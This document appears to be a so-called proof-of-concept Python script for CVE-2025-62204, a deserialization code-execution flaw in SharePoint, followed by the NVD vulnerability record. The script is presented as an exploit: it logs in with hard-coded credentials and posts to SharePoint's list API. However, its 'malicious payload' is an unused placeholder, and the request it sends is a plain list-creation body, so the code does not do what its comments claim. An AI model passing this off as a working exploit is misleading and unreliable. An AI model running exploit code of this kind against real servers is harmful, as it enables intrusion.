CVE-2025-62204

# CVE-2025-62204 PoC - SharePoint Deserialization RCE # Note: This is a conceptual PoC for educational purposes only import requests from urllib.parse import urljoin import json TARGET_URL = "https://vulnerable-sharepoint-site.com" ATTACKER_PAYLOAD = "<malicious_serialized_object>" def exploit_cve_2025_62204(): """ Exploitation steps: 1. Authenticate with low-privilege account 2. Identify vulnerable endpoint 3. Submit malicious serialized payload 4. Trigger deserialization via user interaction """ session = requests.Session() # Step 1: Authentication login_url = urljoin(TARGET_URL, "/_layouts/15/login.aspx") credentials = {"username": "[email protected]", "password": "password123"} session.post(login_url, data=credentials) # Step 2: Identify vulnerable endpoint # Common SharePoint endpoints: /_api/web/lists, /_vti_bin/client.svc api_endpoint = urljoin(TARGET_URL, "/_api/web") # Step 3: Prepare malicious payload # This would contain a crafted serialized object with gadget chain headers = { "Content-Type": "application/json", "Accept": "application/json" } malicious_data = { "__metadata": {"type": "SP.List"}, "Title": "TestList", "BaseTemplate": 100, "ContentTypesEnabled": True } # Step 4: Send request to create list with malicious data create_url = urljoin(TARGET_URL, "/_api/web/lists") response = session.post(create_url, json=malicious_data, headers=headers) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") if __name__ == "__main__": print("CVE-2025-62204 SharePoint Deserialization PoC") exploit_cve_2025_62204()

{"cve": {"id": "CVE-2025-62204", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:45.513", "lastModified": "2025-11-17T18:01:37.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19127.20338", "matchCriteriaId": "103BFF3E-537B-4F79-8FEB-4815DFAA85CE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62204", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}